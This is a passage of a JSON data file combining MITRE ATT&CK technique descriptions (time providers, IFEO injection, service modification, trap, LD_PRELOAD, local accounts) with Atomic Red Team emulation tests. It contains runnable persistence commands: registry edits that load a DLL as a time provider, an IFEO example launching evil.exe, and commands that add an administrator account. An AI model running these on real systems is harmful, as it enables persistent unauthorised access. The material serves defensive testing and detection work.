- "description": "Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\
.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)",
- "modified": "2022-04-20T16:31:16.715Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Time Providers",
- "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx
and RegSetValueEx
as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Command: Command Execution",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.003"
- },
- "atomic_tests": [
- {
- "name": "Create a new time provider",
- "auto_generated_guid": "df1efab7-bc6d-4b88-8be9-91f55ae017aa",
- "description": "Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nThe new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt\nin C:\\Users\\Public\\ as validation that the test is successful.\n\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n",
- "cleanup_command": "net stop w32time\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Edit an existing time provider",
- "auto_generated_guid": "29e0afca-8d1d-471a-8d34-25512fc48315",
- "description": "Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nThe time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt\nin C:\\Users\\Public\\ as validation that the test is successful.\n\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "net stop w32time\nCopy-Item $PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time\n",
- "cleanup_command": "net stop w32time\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Windows\\SYSTEM32\\w32time.DLL\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"Enabled\" /d \"0\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_DWORD /v \"InputProvider\" /d \"0\" /f\nrm -force C:\\Users\\Public\\AtomicTest.dll\nnet start w32time\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1183": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oddvar Moe, @oddvarmoe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1183",
- "url": "https://attack.mitre.org/techniques/T1183"
- },
- {
- "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
- "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
- "source_name": "Microsoft Dev Blog IFEO Mar 2010"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
- "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
- "source_name": "Microsoft GFlags Mar 2017"
- },
- {
- "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
- "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
- "source_name": "Microsoft Silent Process Exit NOV 2017"
- },
- {
- "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
- "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
- "source_name": "Oddvar Moe IFEO APR 2018"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
- "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
- "source_name": "FSecure Hupigon"
- },
- {
- "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2",
- "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
- "source_name": "Symantec Ushedix June 2008"
- }
- ],
- "modified": "2020-11-10T18:29:30.417Z",
- "name": "Image File Execution Options Injection",
- "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger
values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\
where
is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\
. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512
\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1
\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"
\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS
and DEBUG_ONLY_THIS_PROCESS
. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Autoruns Analysis"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1031": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:34.928Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1031",
- "url": "https://attack.mitre.org/techniques/T1031"
- },
- {
- "external_id": "CAPEC-551",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/551.html"
- },
- {
- "url": "https://twitter.com/r0wdy_/status/936365549553991680",
- "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
- "source_name": "Twitter Service Recovery Nov 2017"
- },
- {
- "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)",
- "description": "Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.",
- "source_name": "Microsoft Service Recovery Feb 2013"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-03-16T16:05:53.825Z",
- "name": "Modify Existing Service",
- "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services
.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1546.005": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d",
- "type": "attack-pattern",
- "created": "2020-01-24T14:17:43.906Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.005",
- "url": "https://attack.mitre.org/techniques/T1546/005"
- },
- {
- "source_name": "Trap Manual",
- "url": "https://ss64.com/bash/trap.html",
- "description": "ss64. (n.d.). trap. Retrieved May 21, 2019."
- },
- {
- "source_name": "Cyberciti Trap Statements",
- "url": "https://bash.cyberciti.biz/guide/Trap_statement",
- "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."
- }
- ],
- "modified": "2020-03-24T16:43:02.273Z",
- "name": "Event Triggered Execution: Trap",
- "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap
command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c
and ctrl+d
.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals
where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1546.005"
- },
- "atomic_tests": []
- },
- "T1574.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
- "type": "attack-pattern",
- "created": "2020-03-13T20:09:59.569Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.006",
- "url": "https://attack.mitre.org/techniques/T1574/006"
- },
- {
- "external_id": "CAPEC-13",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/13.html"
- },
- {
- "external_id": "CAPEC-640",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/640.html"
- },
- {
- "source_name": "Man LD.SO",
- "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html",
- "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020."
- },
- {
- "source_name": "TLDP Shared Libraries",
- "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html",
- "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020."
- },
- {
- "source_name": "Apple Doco Archive Dynamic Libraries",
- "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html",
- "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021."
- },
- {
- "source_name": "Baeldung LD_PRELOAD",
- "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is",
- "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021."
- },
- {
- "source_name": "Code Injection on Linux and macOS",
- "url": "https://www.datawire.io/code-injection-on-linux-and-macos/",
- "description": "Itamar Turner-Trauring. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017."
- },
- {
- "url": "http://hick.org/code/skape/papers/needle.txt",
- "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
- "source_name": "Uninformed Needle"
- },
- {
- "url": "http://phrack.org/issues/51/8.html",
- "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.",
- "source_name": "Phrack halfdead 1997"
- },
- {
- "source_name": "Brown Exploiting Linkers",
- "url": "http://www.nth-dimension.org.uk/pub/BTL.pdf",
- "description": "Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021."
- },
- {
- "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
- "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/",
- "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020."
- },
- {
- "source_name": "Timac DYLD_INSERT_LIBRARIES",
- "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/",
- "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020."
- },
- {
- "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
- "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191",
- "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021."
- }
- ],
- "modified": "2021-04-27T19:55:18.453Z",
- "name": "Hijack Execution Flow: LD_PRELOAD",
- "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD
on Linux or DYLD_INSERT_LIBRARIES
on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export
command, setenv
function, or putenv
function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ
.\n\nOn Linux, adversaries may set LD_PRELOAD
to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD
can be set via the environment variable or /etc/ld.so.preload
file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD
are loaded and mapped into memory by dlopen()
and mmap()
respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES
environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD
and DYLD_INSERT_LIBRARIES
, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Modification",
- "Module: Module Load",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1574.006"
- },
- "atomic_tests": []
- },
- "T1136.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
- "type": "attack-pattern",
- "created": "2020-01-28T13:50:22.506Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1136.001",
- "url": "https://attack.mitre.org/techniques/T1136/001"
- },
- {
- "source_name": "Microsoft User Creation Event",
- "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
- }
- ],
- "modified": "2021-08-12T13:04:14.248Z",
- "name": "Create Account: Local Account",
- "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add
command can be used to create a local account. On macOS systems the dscl -create
command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for processes and command-line parameters associated with local account creation, such as net user /add
, useradd
, and dscl -create
. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Creation",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1136.001"
- },
- "atomic_tests": [
- {
- "name": "Create a new user in a command prompt",
- "auto_generated_guid": "6657864e-0323-4206-9344-ac9cd7265a4f",
- "description": "Creates a new user in a command prompt. Upon execution, \"The command completed successfully.\" will be displayed. To verify the\nnew account, run \"net user\" in powershell or CMD and observe that there is a new user named \"T1136.001_CMD\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "username": {
- "description": "Username of the user to create",
- "type": "string",
- "default": "T1136.001_CMD"
- },
- "password": {
- "description": "Password of the user to create",
- "type": "string",
- "default": "T1136.001_CMD!"
- }
- },
- "executor": {
- "command": "net user /add \"#{username}\" \"#{password}\"\n",
- "cleanup_command": "net user /del \"#{username}\" >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Create a new user in PowerShell",
- "auto_generated_guid": "bc8be0ac-475c-4fbf-9b1d-9fffd77afbde",
- "description": "Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the\nnew account, run \"net user\" in powershell or CMD and observe that there is a new user named \"T1136.001_PowerShell\"\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "username": {
- "description": "Username of the user to create",
- "type": "string",
- "default": "T1136.001_PowerShell"
- }
- },
- "executor": {
- "command": "New-LocalUser -Name \"#{username}\" -NoPassword\n",
- "cleanup_command": "Remove-LocalUser -Name \"#{username}\" -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Create a new Windows admin user",
- "auto_generated_guid": "fda74566-a604-4581-a4cc-fbbe21d66559",
- "description": "Creates a new admin user in a command prompt.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "username": {
- "description": "Username of the user to create",
- "type": "string",
- "default": "T1136.001_Admin"
- },
- "password": {
- "description": "Password of the user to create",
- "type": "string",
- "default": "T1136_pass"
- }
- },
- "executor": {
- "command": "net user /add \"#{username}\" \"#{password}\"\nnet localgroup administrators \"#{username}\" /add\n",
- "cleanup_command": "net user /del \"#{username}\" >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1053.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e",
- "created": "2019-12-03T12:59:36.749Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.001",
- "url": "https://attack.mitre.org/techniques/T1053/001"
- },
- {
- "source_name": "rowland linux at 2019",
- "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/",
- "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021."
- },
- {
- "source_name": "GTFObins at",
- "url": "https://gtfobins.github.io/gtfobins/at/",
- "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021."
- },
- {
- "source_name": "Kifarunix - Task Scheduling in Linux",
- "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/",
